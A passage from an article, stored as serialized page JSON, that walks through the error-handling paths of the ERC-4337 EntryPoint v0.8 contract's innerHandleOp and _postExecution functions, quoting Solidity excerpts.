actualGas);\n",{"type":23,"tag":504,"props":107159,"children":107160},{"class":5016,"line":25685},[107161,107165,107169],{"type":23,"tag":504,"props":107162,"children":107163},{"style":5058},[107164],{"type":29,"value":106884},{"type":23,"tag":504,"props":107166,"children":107167},{"style":5047},[107168],{"type":29,"value":546},{"type":23,"tag":504,"props":107170,"children":107171},{"style":5058},[107172],{"type":29,"value":107173}," actualGasCost;\n",{"type":23,"tag":504,"props":107175,"children":107176},{"class":5016,"line":25693},[107177,107181,107185],{"type":23,"tag":504,"props":107178,"children":107179},{"style":5058},[107180],{"type":29,"value":72657},{"type":23,"tag":504,"props":107182,"children":107183},{"style":5067},[107184],{"type":29,"value":5360},{"type":23,"tag":504,"props":107186,"children":107187},{"style":5058},[107188],{"type":29,"value":5333},{"type":23,"tag":504,"props":107190,"children":107191},{"class":5016,"line":25701},[107192],{"type":23,"tag":504,"props":107193,"children":107194},{"style":5058},[107195],{"type":29,"value":106580},{"type":23,"tag":504,"props":107197,"children":107198},{"class":5016,"line":25710},[107199,107203,107207,107212],{"type":23,"tag":504,"props":107200,"children":107201},{"style":5058},[107202],{"type":29,"value":106884},{"type":23,"tag":504,"props":107204,"children":107205},{"style":5047},[107206],{"type":29,"value":546},{"type":23,"tag":504,"props":107208,"children":107209},{"style":5139},[107210],{"type":29,"value":107211}," _postExecution",{"type":23,"tag":504,"props":107213,"children":107214},{"style":5058},[107215],{"type":29,"value":5512},{"type":23,"tag":504,"props":107217,"children":107218},{"class":5016,"line":25786},[107219],{"type":23,"tag":504,"props":107220,"children":107221},{"style":5058},[107222],{"type":29,"value":107223},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":504,"props":107225,"children":107226},{"class":5016,"line":25819},[107227],{"type":23,"tag":504,"props":107228,"children":107229},{"style":5058},[107230],{"type":29,"value":107231},"                    opInfo,\n",{"type":23,"tag":504,"props":107233,"children":107234},{"class":5016,"line":25827},[107235],{"type":23,"tag":504,"props":107236,"children":107237},{"style":5058},[107238],{"type":29,"value":107239},"                    context,\n",{"type":23,"tag":504,"props":107241,"children":107242},{"class":5016,"line":25835},[107243],{"type":23,"tag":504,"props":107244,"children":107245},{"style":5058},[107246],{"type":29,"value":107247},"                    actualGas\n",{"type":23,"tag":504,"props":107249,"children":107250},{"class":5016,"line":25872},[107251],{"type":23,"tag":504,"props":107252,"children":107253},{"style":5058},[107254],{"type":29,"value":107255},"                );\n",{"type":23,"tag":504,"props":107257,"children":107258},{"class":5016,"line":25885},[107259],{"type":23,"tag":504,"props":107260,"children":107261},{"style":5058},[107262],{"type":29,"value":60946},{"type":23,"tag":504,"props":107264,"children":107265},{"class":5016,"line":25898},[107266],{"type":23,"tag":504,"props":107267,"children":107268},{"style":5058},[107269],{"type":29,"value":5394},{"type":23,"tag":504,"props":107271,"children":107272},{"class":5016,"line":25911},[107273],{"type":23,"tag":504,"props":107274,"children":107275},{"style":5058},[107276],{"type":29,"value":5403},{"type":23,"tag":32,"props":107278,"children":107279},{},[107280,107282,107287,107289,107295,107297,107303,107305,107311],{"type":29,"value":107281},"During execution, the ",{"type":23,"tag":154,"props":107283,"children":107285},{"className":107284},[],[107286],{"type":29,"value":104042},{"type":29,"value":107288}," contract makes a ",{"type":23,"tag":68,"props":107290,"children":107293},{"href":107291,"rel":107292},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[72],[107294],{"type":29,"value":40352},{"type":29,"value":107296}," to its own ",{"type":23,"tag":154,"props":107298,"children":107300},{"className":107299},[],[107301],{"type":29,"value":107302},"innerHandleOp",{"type":29,"value":107304}," function through a low-level ",{"type":23,"tag":154,"props":107306,"children":107308},{"className":107307},[],[107309],{"type":29,"value":107310},"call()",{"type":29,"value":107312},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":32,"props":107314,"children":107315},{},[107316,107318,107324,107325,107330,107332,107339,107341,107347],{"type":29,"value":107317},"If this call fails (when ",{"type":23,"tag":154,"props":107319,"children":107321},{"className":107320},[],[107322],{"type":29,"value":107323},"success",{"type":29,"value":7546},{"type":23,"tag":154,"props":107326,"children":107328},{"className":107327},[],[107329],{"type":29,"value":10220},{"type":29,"value":107331},"), the code enters an ",{"type":23,"tag":68,"props":107333,"children":107336},{"href":107334,"rel":107335},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[72],[107337],{"type":29,"value":107338},"error handling",{"type":29,"value":107340}," flow that checks the ",{"type":23,"tag":154,"props":107342,"children":107344},{"className":107343},[],[107345],{"type":29,"value":107346},"innerRevertCode",{"type":29,"value":107348},". There are three possible paths:",{"type":23,"tag":139,"props":107350,"children":107351},{},[107352,107376,107394],{"type":23,"tag":143,"props":107353,"children":107354},{},[107355,107356,107361,107362,107368,107370,107375],{"type":29,"value":9524},{"type":23,"tag":154,"props":107357,"children":107359},{"className":107358},[],[107360],{"type":29,"value":107346},{"type":29,"value":7546},{"type":23,"tag":154,"props":107363,"children":107365},{"className":107364},[],[107366],{"type":29,"value":107367},"INNER_OUT_OF_GAS",{"type":29,"value":107369},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":154,"props":107371,"children":107373},{"className":107372},[],[107374],{"type":29,"value":107019},{"type":29,"value":357},{"type":23,"tag":143,"props":107377,"children":107378},{},[107379,107380,107385,107386,107392],{"type":29,"value":9524},{"type":23,"tag":154,"props":107381,"children":107383},{"className":107382},[],[107384],{"type":29,"value":107346},{"type":29,"value":7546},{"type":23,"tag":154,"props":107387,"children":107389},{"className":107388},[],[107390],{"type":29,"value":107391},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":107393},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":143,"props":107395,"children":107396},{},[107397,107399,107405,107407,107413],{"type":29,"value":107398},"For any other revert reason, the code will still call ",{"type":23,"tag":154,"props":107400,"children":107402},{"className":107401},[],[107403],{"type":29,"value":107404},"_postExecution()",{"type":29,"value":107406}," but with ",{"type":23,"tag":154,"props":107408,"children":107410},{"className":107409},[],[107411],{"type":29,"value":107412},"PostOpMode.postOpReverted",{"type":29,"value":107414},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":32,"props":107416,"children":107417},{},[107418,107420,107425,107427,107432,107434,107439,107441,107446],{"type":29,"value":107419},"We're particularly interested in the third error path, where ",{"type":23,"tag":154,"props":107421,"children":107423},{"className":107422},[],[107424],{"type":29,"value":107346},{"type":29,"value":107426}," is neither ",{"type":23,"tag":154,"props":107428,"children":107430},{"className":107429},[],[107431],{"type":29,"value":107367},{"type":29,"value":107433}," nor ",{"type":23,"tag":154,"props":107435,"children":107437},{"className":107436},[],[107438],{"type":29,"value":107391},{"type":29,"value":107440},". To understand this case better, let's examine how ",{"type":23,"tag":154,"props":107442,"children":107444},{"className":107443},[],[107445],{"type":29,"value":107302},{"type":29,"value":107447}," works.",{"type":23,"tag":4743,"props":107449,"children":107451},{"className":6516,"code":107450,"language":6515,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[107452],{"type":23,"tag":154,"props":107453,"children":107454},{"__ignoreMap":7},[107455,107471,107492,107512,107528,107561,107568,107585,107609,107649,107668,107693,107727,107751,107768,107776,107784,107792,107800,107808,107815,107828,107845,107852,107859,107866,107877,107916,107932,107939],{"type":23,"tag":504,"props":107456,"children":107457},{"class":5016,"line":5017},[107458,107462,107467],{"type":23,"tag":504,"props":107459,"children":107460},{"style":5030},[107461],{"type":29,"value":91893},{"type":23,"tag":504,"props":107463,"children":107464},{"style":5139},[107465],{"type":29,"value":107466}," innerHandleOp",{"type":23,"tag":504,"props":107468,"children":107469},{"style":5058},[107470],{"type":29,"value":5512},{"type":23,"tag":504,"props":107472,"children":107473},{"class":5016,"line":4868},[107474,107479,107483,107488],{"type":23,"tag":504,"props":107475,"children":107476},{"style":5467},[107477],{"type":29,"value":107478},"        bytes",{"type":23,"tag":504,"props":107480,"children":107481},{"style":5030},[107482],{"type":29,"value":104859},{"type":23,"tag":504,"props":107484,"children":107485},{"style":5041},[107486],{"type":29,"value":107487}," callData",{"type":23,"tag":504,"props":107489,"children":107490},{"style":5058},[107491],{"type":29,"value":5557},{"type":23,"tag":504,"props":107493,"children":107494},{"class":5016,"line":4876},[107495,107499,107503,107508],{"type":23,"tag":504,"props":107496,"children":107497},{"style":5030},[107498],{"type":29,"value":106519},{"type":23,"tag":504,"props":107500,"children":107501},{"style":5030},[107502],{"type":29,"value":104859},{"type":23,"tag":504,"props":107504,"children":107505},{"style":5041},[107506],{"type":29,"value":107507}," opInfo",{"type":23,"tag":504,"props":107509,"children":107510},{"style":5058},[107511],{"type":29,"value":5557},{"type":23,"tag":504,"props":107513,"children":107514},{"class":5016,"line":5099},[107515,107519,107523],{"type":23,"tag":504,"props":107516,"children":107517},{"style":5467},[107518],{"type":29,"value":107478},{"type":23,"tag":504,"props":107520,"children":107521},{"style":5030},[107522],{"type":29,"value":104791},{"type":23,"tag":504,"props":107524,"children":107525},{"style":5041},[107526],{"type":29,"value":107527}," context\n",{"type":23,"tag":504,"props":107529,"children":107530},{"class":5016,"line":5203},[107531,107536,107541,107545,107549,107553,107557],{"type":23,"tag":504,"props":107532,"children":107533},{"style":5058},[107534],{"type":29,"value":107535},"    ) ",{"type":23,"tag":504,"props":107537,"children":107538},{"style":5030},[107539],{"type":29,"value":107540},"external",{"type":23,"tag":504,"props":107542,"children":107543},{"style":5067},[107544],{"type":29,"value":78058},{"type":23,"tag":504,"props":107546,"children":107547},{"style":5058},[107548],{"type":29,"value":5110},{"type":23,"tag":504,"props":107550,"children":107551},{"style":5467},[107552],{"type":29,"value":48230},{"type":23,"tag":504,"props":107554,"children":107555},{"style":5041},[107556],{"type":29,"value":105600},{"type":23,"tag":504,"props":107558,"children":107559},{"style":5058},[107560],{"type":29,"value":16850},{"type":23,"tag":504,"props":107562,"children":107563},{"class":5016,"line":5308},[107564],{"type":23,"tag":504,"props":107565,"children":107566},{"style":5058},[107567],{"type":29,"value":106580},{"type":23,"tag":504,"props":107569,"children":107570},{"class":5016,"line":5336},[107571,107576,107580],{"type":23,"tag":504,"props":107572,"children":107573},{"style":5058},[107574],{"type":29,"value":107575},"        IPaymaster.PostOpMode mode ",{"type":23,"tag":504,"props":107577,"children":107578},{"style":5047},[107579],{"type":29,"value":546},{"type":23,"tag":504,"props":107581,"children":107582},{"style":5058},[107583],{"type":29,"value":107584}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":504,"props":107586,"children":107587},{"class":5016,"line":5349},[107588,107592,107597,107601,107605],{"type":23,"tag":504,"props":107589,"children":107590},{"style":5067},[107591],{"type":29,"value":5314},{"type":23,"tag":504,"props":107593,"children":107594},{"style":5058},[107595],{"type":29,"value":107596}," (callData.length ",{"type":23,"tag":504,"props":107598,"children":107599},{"style":5047},[107600],{"type":29,"value":12508},{"type":23,"tag":504,"props":107602,"children":107603},{"style":5083},[107604],{"type":29,"value":5086},{"type":23,"tag":504,"props":107606,"children":107607},{"style":5058},[107608],{"type":29,"value":16850},{"type":23,"tag":504,"props":107610,"children":107611},{"class":5016,"line":5367},[107612,107617,107622,107626,107631,107635,107640,107644],{"type":23,"tag":504,"props":107613,"children":107614},{"style":5467},[107615],{"type":29,"value":107616},"            bool",{"type":23,"tag":504,"props":107618,"children":107619},{"style":5058},[107620],{"type":29,"value":107621}," success ",{"type":23,"tag":504,"props":107623,"children":107624},{"style":5047},[107625],{"type":29,"value":546},{"type":23,"tag":504,"props":107627,"children":107628},{"style":5058},[107629],{"type":29,"value":107630}," Exec.",{"type":23,"tag":504,"props":107632,"children":107633},{"style":5139},[107634],{"type":29,"value":40352},{"type":23,"tag":504,"props":107636,"children":107637},{"style":5058},[107638],{"type":29,"value":107639},"(mUserOp.sender, ",{"type":23,"tag":504,"props":107641,"children":107642},{"style":5083},[107643],{"type":29,"value":708},{"type":23,"tag":504,"props":107645,"children":107646},{"style":5058},[107647],{"type":29,"value":107648},", callData, callGasLimit);\n",{"type":23,"tag":504,"props":107650,"children":107651},{"class":5016,"line":5388},[107652,107656,107660,107664],{"type":23,"tag":504,"props":107653,"children":107654},{"style":5067},[107655],{"type":29,"value":60862},{"type":23,"tag":504,"props":107657,"children":107658},{"style":5058},[107659],{"type":29,"value":5110},{"type":23,"tag":504,"props":107661,"children":107662},{"style":5047},[107663],{"type":29,"value":22674},{"type":23,"tag":504,"props":107665,"children":107666},{"style":5058},[107667],{"type":29,"value":106952},{"type":23,"tag":504,"props":107669,"children":107670},{"class":5016,"line":5397},[107671,107675,107680,107684,107689],{"type":23,"tag":504,"props":107672,"children":107673},{"style":5467},[107674],{"type":29,"value":105239},{"type":23,"tag":504,"props":107676,"children":107677},{"style":5058},[107678],{"type":29,"value":107679}," freePtr ",{"type":23,"tag":504,"props":107681,"children":107682},{"style":5047},[107683],{"type":29,"value":546},{"type":23,"tag":504,"props":107685,"children":107686},{"style":5139},[107687],{"type":29,"value":107688}," _getFreePtr",{"type":23,"tag":504,"props":107690,"children":107691},{"style":5058},[107692],{"type":29,"value":5725},{"type":23,"tag":504,"props":107694,"children":107695},{"class":5016,"line":5649},[107696,107700,107704,107709,107713,107717,107722],{"type":23,"tag":504,"props":107697,"children":107698},{"style":5467},[107699],{"type":29,"value":106636},{"type":23,"tag":504,"props":107701,"children":107702},{"style":5030},[107703],{"type":29,"value":104859},{"type":23,"tag":504,"props":107705,"children":107706},{"style":5058},[107707],{"type":29,"value":107708}," result ",{"type":23,"tag":504,"props":107710,"children":107711},{"style":5047},[107712],{"type":29,"value":546},{"type":23,"tag":504,"props":107714,"children":107715},{"style":5058},[107716],{"type":29,"value":107630},{"type":23,"tag":504,"props":107718,"children":107719},{"style":5139},[107720],{"type":29,"value":107721},"getReturnData",{"type":23,"tag":504,"props":107723,"children":107724},{"style":5058},[107725],{"type":29,"value":107726},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":504,"props":107728,"children":107729},{"class":5016,"line":5666},[107730,107734,107739,107743,107747],{"type":23,"tag":504,"props":107731,"children":107732},{"style":5067},[107733],{"type":29,"value":105299},{"type":23,"tag":504,"props":107735,"children":107736},{"style":5058},[107737],{"type":29,"value":107738}," (result.length ",{"type":23,"tag":504,"props":107740,"children":107741},{"style":5047},[107742],{"type":29,"value":12508},{"type":23,"tag":504,"props":107744,"children":107745},{"style":5083},[107746],{"type":29,"value":5086},{"type":23,"tag":504,"props":107748,"children":107749},{"style":5058},[107750],{"type":29,"value":16850},{"type":23,"tag":504,"props":107752,"children":107753},{"class":5016,"line":5683},[107754,107759,107764],{"type":23,"tag":504,"props":107755,"children":107756},{"style":5067},[107757],{"type":29,"value":107758},"                    emit",{"type":23,"tag":504,"props":107760,"children":107761},{"style":5139},[107762],{"type":29,"value":107763}," UserOperationRevertReason",{"type":23,"tag":504,"props":107765,"children":107766},{"style":5058},[107767],{"type":29,"value":5512},{"type":23,"tag":504,"props":107769,"children":107770},{"class":5016,"line":5696},[107771],{"type":23,"tag":504,"props":107772,"children":107773},{"style":5058},[107774],{"type":29,"value":107775},"                        opInfo.userOpHash,\n",{"type":23,"tag":504,"props":107777,"children":107778},{"class":5016,"line":5705},[107779],{"type":23,"tag":504,"props":107780,"children":107781},{"style":5058},[107782],{"type":29,"value":107783},"                        mUserOp.sender,\n",{"type":23,"tag":504,"props":107785,"children":107786},{"class":5016,"line":5728},[107787],{"type":23,"tag":504,"props":107788,"children":107789},{"style":5058},[107790],{"type":29,"value":107791},"                        mUserOp.nonce,\n",{"type":23,"tag":504,"props":107793,"children":107794},{"class":5016,"line":5737},[107795],{"type":23,"tag":504,"props":107796,"children":107797},{"style":5058},[107798],{"type":29,"value":107799},"                        result\n",{"type":23,"tag":504,"props":107801,"children":107802},{"class":5016,"line":5746},[107803],{"type":23,"tag":504,"props":107804,"children":107805},{"style":5058},[107806],{"type":29,"value":107807},"                    );\n",{"type":23,"tag":504,"props":107809,"children":107810},{"class":5016,"line":5813},[107811],{"type":23,"tag":504,"props":107812,"children":107813},{"style":5058},[107814],{"type":29,"value":73134},{"type":23,"tag":504,"props":107816,"children":107817},{"class":5016,"line":5821},[107818,107823],{"type":23,"tag":504,"props":107819,"children":107820},{"style":5139},[107821],{"type":29,"value":107822},"                _restoreFreePtr",{"type":23,"tag":504,"props":107824,"children":107825},{"style":5058},[107826],{"type":29,"value":107827},"(freePtr);\n",{"type":23,"tag":504,"props":107829,"children":107830},{"class":5016,"line":5851},[107831,107836,107840],{"type":23,"tag":504,"props":107832,"children":107833},{"style":5058},[107834],{"type":29,"value":107835},"                mode ",{"type":23,"tag":504,"props":107837,"children":107838},{"style":5047},[107839],{"type":29,"value":546},{"type":23,"tag":504,"props":107841,"children":107842},{"style":5058},[107843],{"type":29,"value":107844}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":504,"props":107846,"children":107847},{"class":5016,"line":5859},[107848],{"type":23,"tag":504,"props":107849,"children":107850},{"style":5058},[107851],{"type":29,"value":60946},{"type":23,"tag":504,"props":107853,"children":107854},{"class":5016,"line":5891},[107855],{"type":23,"tag":504,"props":107856,"children":107857},{"style":5058},[107858],{"type":29,"value":5394},{"type":23,"tag":504,"props":107860,"children":107861},{"class":5016,"line":5899},[107862],{"type":23,"tag":504,"props":107863,"children":107864},{"emptyLinePlaceholder":15},[107865],{"type":29,"value":5734},{"type":23,"tag":504,"props":107867,"children":107868},{"class":5016,"line":5959},[107869,107873],{"type":23,"tag":504,"props":107870,"children":107871},{"style":5067},[107872],{"type":29,"value":104895},{"type":23,"tag":504,"props":107874,"children":107875},{"style":5058},[107876],{"type":29,"value":5333},{"type":23,"tag":504,"props":107878,"children":107879},{"class":5016,"line":11093},[107880,107884,107888,107892,107896,107900,107904,107908,107912],{"type":23,"tag":504,"props":107881,"children":107882},{"style":5467},[107883],{"type":29,"value":104907},{"type":23,"tag":504,"props":107885,"children":107886},{"style":5058},[107887],{"type":29,"value":107071},{"type":23,"tag":504,"props":107889,"children":107890},{"style":5047},[107891],{"type":29,"value":546},{"type":23,"tag":504,"props":107893,"children":107894},{"style":5058},[107895],{"type":29,"value":107080},{"type":23,"tag":504,"props":107897,"children":107898},{"style":5047},[107899],{"type":29,"value":6368},{"type":23,"tag":504,"props":107901,"children":107902},{"style":5030},[107903],{"type":29,"value":107089},{"type":23,"tag":504,"props":107905,"children":107906},{"style":5058},[107907],{"type":29,"value":16089},{"type":23,"tag":504,"props":107909,"children":107910},{"style":5047},[107911],{"type":29,"value":6422},{"type":23,"tag":504,"props":107913,"children":107914},{"style":5058},[107915],{"type":29,"value":107102},{"type":23,"tag":504,"props":107917,"children":107918},{"class":5016,"line":11111},[107919,107923,107927],{"type":23,"tag":504,"props":107920,"children":107921},{"style":5067},[107922],{"type":29,"value":81140},{"type":23,"tag":504,"props":107924,"children":107925},{"style":5139},[107926],{"type":29,"value":107211},{"type":23,"tag":504,"props":107928,"children":107929},{"style":5058},[107930],{"type":29,"value":107931},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":504,"props":107933,"children":107934},{"class":5016,"line":11156},[107935],{"type":23,"tag":504,"props":107936,"children":107937},{"style":5058},[107938],{"type":29,"value":5394},{"type":23,"tag":504,"props":107940,"children":107941},{"class":5016,"line":11262},[107942],{"type":23,"tag":504,"props":107943,"children":107944},{"style":5058},[107945],{"type":29,"value":5403},{"type":23,"tag":32,"props":107947,"children":107948},{},[107949,107951,107956,107958,107963,107965,107971,107973,107979,107981,107986,107988,107998],{"type":29,"value":107950},"We observe that, in the happy path, ",{"type":23,"tag":154,"props":107952,"children":107954},{"className":107953},[],[107955],{"type":29,"value":107302},{"type":29,"value":107957}," is expected to not only execute the actual ",{"type":23,"tag":154,"props":107959,"children":107961},{"className":107960},[],[107962],{"type":29,"value":103961},{"type":29,"value":107964}," call, but also call ",{"type":23,"tag":154,"props":107966,"children":107968},{"className":107967},[],[107969],{"type":29,"value":107970},"_postExecution",{"type":29,"value":107972},". This means that the third failure handling path, which passes ",{"type":23,"tag":154,"props":107974,"children":107976},{"className":107975},[],[107977],{"type":29,"value":107978},"postOpReverted",{"type":29,"value":107980}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":154,"props":107982,"children":107984},{"className":107983},[],[107985],{"type":29,"value":107970},{"type":29,"value":107987}," call ",{"type":23,"tag":38,"props":107989,"children":107990},{},[107991,107993],{"type":29,"value":107992},"inside ",{"type":23,"tag":154,"props":107994,"children":107996},{"className":107995},[],[107997],{"type":29,"value":107302},{"type":29,"value":357},{"type":23,"tag":32,"props":108000,"children":108001},{},[108002,108004,108009],{"type":29,"value":108003},"Let's examine the ",{"type":23,"tag":154,"props":108005,"children":108007},{"className":108006},[],[108008],{"type":29,"value":107970},{"type":29,"value":108010}," code to understand where the revert might occur.",{"type":23,"tag":4743,"props":108012,"children":108014},{"className":6516,"code":108013,"language":6515,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[108015],{"type":23,"tag":154,"props":108016,"children":108017},{"__ignoreMap":7},[108018,108033,108058,108077,108096,108108,108145,108152,108184,108201,108216,108232,108256,108281,108305,108327,108345,108362,108370,108388,108404,108437,108455,108462,108469,108477,108493,108525,108547,108554,108561,108568],{"type":23,"tag":504,"props":108019,"children":108020},{"class":5016,"line":5017},[108021,108025,108029],{"type":23,"tag":504,"props":108022,"children":108023},{"style":5030},[108024],{"type":29,"value":91893},{"type":23,"tag":504,"props":108026,"children":108027},{"style":5139},[108028],{"type":29,"value":107211},{"type":23,"tag":504,"props":108030,"children":108031},{"style":5058},[108032],{"type":29,"value":5512},{"type":23,"tag":504,"props":108034,"children":108035},{"class":5016,"line":4868},[108036,108041,108045,108049,108054],{"type":23,"tag":504,"props":108037,"children":108038},{"style":5030},[108039],{"type":29,"value":108040},"        IPaymaster",{"type":23,"tag":504,"props":108042,"children":108043},{"style":5058},[108044],{"type":29,"value":357},{"type":23,"tag":504,"props":108046,"children":108047},{"style":5041},[108048],{"type":29,"value":105571},{"type":23,"tag":504,"props":108050,"children":108051},{"style":5041},[108052],{"type":29,"value":108053}," mode",{"type":23,"tag":504,"props":108055,"children":108056},{"style":5058},[108057],{"type":29,"value":5557},{"type":23,"tag":504,"props":108059,"children":108060},{"class":5016,"line":4876},[108061,108065,108069,108073],{"type":23,"tag":504,"props":108062,"children":108063},{"style":5030},[108064],{"type":29,"value":106519},{"type":23,"tag":504,"props":108066,"children":108067},{"style":5030},[108068],{"type":29,"value":104859},{"type":23,"tag":504,"props":108070,"children":108071},{"style":5041},[108072],{"type":29,"value":107507},{"type":23,"tag":504,"props":108074,"children":108075},{"style":5058},[108076],{"type":29,"value":5557},{"type":23,"tag":504,"props":108078,"children":108079},{"class":5016,"line":5099},[108080,108084,108088,108092],{"type":23,"tag":504,"props":108081,"children":108082},{"style":5467},[108083],{"type":29,"value":107478},{"type":23,"tag":504,"props":108085,"children":108086},{"style":5030},[108087],{"type":29,"value":104859},{"type":23,"tag":504,"props":108089,"children":108090},{"style":5041},[108091],{"type":29,"value":78405},{"type":23,"tag":504,"props":108093,"children":108094},{"style":5058},[108095],{"type":29,"value":5557},{"type":23,"tag":504,"props":108097,"children":108098},{"class":5016,"line":5203},[108099,108103],{"type":23,"tag":504,"props":108100,"children":108101},{"style":5467},[108102],{"type":29,"value":92071},{"type":23,"tag":504,"props":108104,"children":108105},{"style":5041},[108106],{"type":29,"value":108107}," actualGas\n",{"type":23,"tag":504,"props":108109,"children":108110},{"class":5016,"line":5308},[108111,108115,108120,108125,108129,108133,108137,108141],{"type":23,"tag":504,"props":108112,"children":108113},{"style":5058},[108114],{"type":29,"value":107535},{"type":23,"tag":504,"props":108116,"children":108117},{"style":5030},[108118],{"type":29,"value":108119},"internal",{"type":23,"tag":504,"props":108121,"children":108122},{"style":5030},[108123],{"type":29,"value":108124}," virtual",{"type":23,"tag":504,"props":108126,"children":108127},{"style":5067},[108128],{"type":29,"value":78058},{"type":23,"tag":504,"props":108130,"children":108131},{"style":5058},[108132],{"type":29,"value":5110},{"type":23,"tag":504,"props":108134,"children":108135},{"style":5467},[108136],{"type":29,"value":48230},{"type":23,"tag":504,"props":108138,"children":108139},{"style":5041},[108140],{"type":29,"value":105600},{"type":23,"tag":504,"props":108142,"children":108143},{"style":5058},[108144],{"type":29,"value":16850},{"type":23,"tag":504,"props":108146,"children":108147},{"class":5016,"line":5336},[108148],{"type":23,"tag":504,"props":108149,"children":108150},{"style":5058},[108151],{"type":29,"value":106580},{"type":23,"tag":504,"props":108153,"children":108154},{"class":5016,"line":5349},[108155,108159,108164,108168,108172,108176,108180],{"type":23,"tag":504,"props":108156,"children":108157},{"style":5067},[108158],{"type":29,"value":60862},{"type":23,"tag":504,"props":108160,"children":108161},{"style":5058},[108162],{"type":29,"value":108163}," (paymaster ",{"type":23,"tag":504,"props":108165,"children":108166},{"style":5047},[108167],{"type":29,"value":1224},{"type":23,"tag":504,"props":108169,"children":108170},{"style":5467},[108171],{"type":29,"value":8295},{"type":23,"tag":504,"props":108173,"children":108174},{"style":5058},[108175],{"type":29,"value":603},{"type":23,"tag":504,"props":108177,"children":108178},{"style":5083},[108179],{"type":29,"value":708},{"type":23,"tag":504,"props":108181,"children":108182},{"style":5058},[108183],{"type":29,"value":37250},{"type":23,"tag":504,"props":108185,"children":108186},{"class":5016,"line":5367},[108187,108192,108196],{"type":23,"tag":504,"props":108188,"children":108189},{"style":5058},[108190],{"type":29,"value":108191},"                refundAddress ",{"type":23,"tag":504,"props":108193,"children":108194},{"style":5047},[108195],{"type":29,"value":546},{"type":23,"tag":504,"props":108197,"children":108198},{"style":5058},[108199],{"type":29,"value":108200}," mUserOp.sender;\n",{"type":23,"tag":504,"props":108202,"children":108203},{"class":5016,"line":5388},[108204,108208,108212],{"type":23,"tag":504,"props":108205,"children":108206},{"style":5058},[108207],{"type":29,"value":72657},{"type":23,"tag":504,"props":108209,"children":108210},{"style":5067},[108211],{"type":29,"value":5360},{"type":23,"tag":504,"props":108213,"children":108214},{"style":5058},[108215],{"type":29,"value":5333},{"type":23,"tag":504,"props":108217,"children":108218},{"class":5016,"line":5397},[108219,108223,108227],{"type":23,"tag":504,"props":108220,"children":108221},{"style":5058},[108222],{"type":29,"value":108191},{"type":23,"tag":504,"props":108224,"children":108225},{"style":5047},[108226],{"type":29,"value":546},{"type":23,"tag":504,"props":108228,"children":108229},{"style":5058},[108230],{"type":29,"value":108231}," paymaster;\n",{"type":23,"tag":504,"props":108233,"children":108234},{"class":5016,"line":5649},[108235,108239,108244,108248,108252],{"type":23,"tag":504,"props":108236,"children":108237},{"style":5067},[108238],{"type":29,"value":105299},{"type":23,"tag":504,"props":108240,"children":108241},{"style":5058},[108242],{"type":29,"value":108243}," (context.length ",{"type":23,"tag":504,"props":108245,"children":108246},{"style":5047},[108247],{"type":29,"value":12508},{"type":23,"tag":504,"props":108249,"children":108250},{"style":5083},[108251],{"type":29,"value":5086},{"type":23,"tag":504,"props":108253,"children":108254},{"style":5058},[108255],{"type":29,"value":16850},{"type":23,"tag":504,"props":108257,"children":108258},{"class":5016,"line":5666},[108259,108264,108268,108272,108276],{"type":23,"tag":504,"props":108260,"children":108261},{"style":5058},[108262],{"type":29,"value":108263},"                    actualGasCost ",{"type":23,"tag":504,"props":108265,"children":108266},{"style":5047},[108267],{"type":29,"value":546},{"type":23,"tag":504,"props":108269,"children":108270},{"style":5058},[108271],{"type":29,"value":107071},{"type":23,"tag":504,"props":108273,"children":108274},{"style":5047},[108275],{"type":29,"value":6613},{"type":23,"tag":504,"props":108277,"children":108278},{"style":5058},[108279],{"type":29,"value":108280}," 